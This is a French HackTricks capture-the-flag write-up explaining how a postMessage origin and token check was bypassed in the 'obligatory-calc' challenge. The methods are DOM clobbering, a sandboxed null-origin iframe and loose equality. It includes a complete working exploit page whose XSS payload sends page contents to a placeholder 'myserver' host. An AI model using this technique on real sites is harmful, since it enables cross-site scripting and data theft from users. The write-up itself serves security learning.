Bypassing SOP with Iframes - 2
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Iframes in SOP-2
Dans la solution pour ce challenge, @Strellic_ propose une méthode similaire à la section précédente. Vérifions cela.
Dans ce challenge, l'attaquant doit bypasser ceci :
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
S'il le fait, il peut envoyer un postmessage avec du contenu HTML qui va être écrit dans la page avec innerHTML
sans sanitation (XSS).
La façon de contourner la première vérification est de rendre window.calc.contentWindow
undefined
et e.source
null
:
window.calc.contentWindow
est en faitdocument.getElementById("calc")
. Vous pouvez écraserdocument.getElementById
avec<img name=getElementById />
(notez que l'API Sanitizer -ici- n'est pas configurée pour protéger contre les attaques de clobbering DOM dans son état par défaut).- Par conséquent, vous pouvez écraser
document.getElementById("calc")
avec<img name=getElementById /><div id=calc></div>
. Ensuite,window.calc
seraundefined
. - Maintenant, nous avons besoin que
e.source
soitundefined
ounull
(parce que==
est utilisé au lieu de===
,null == undefined
estTrue
). Obtenir cela est "facile". Si vous créez un iframe et envoyez un postMessage depuis celui-ci et que vous supprimez immédiatement l'iframe,e.origin
va êtrenull
. Vérifiez le code suivant
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Pour contourner la deuxième vérification concernant le token, il suffit d'envoyer token
avec la valeur null
et de faire en sorte que la valeur de window.token
soit undefined
:
- Envoyer
token
dans le postMessage avec la valeurnull
est trivial. window.token
dans l'appel de la fonctiongetCookie
qui utilisedocument.cookie
. Notez que tout accès àdocument.cookie
dans des pages d'originenull
déclenche une erreur. Cela fera en sorte quewindow.token
ait une valeurundefined
.
La solution finale par @terjanq est la suivante :
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.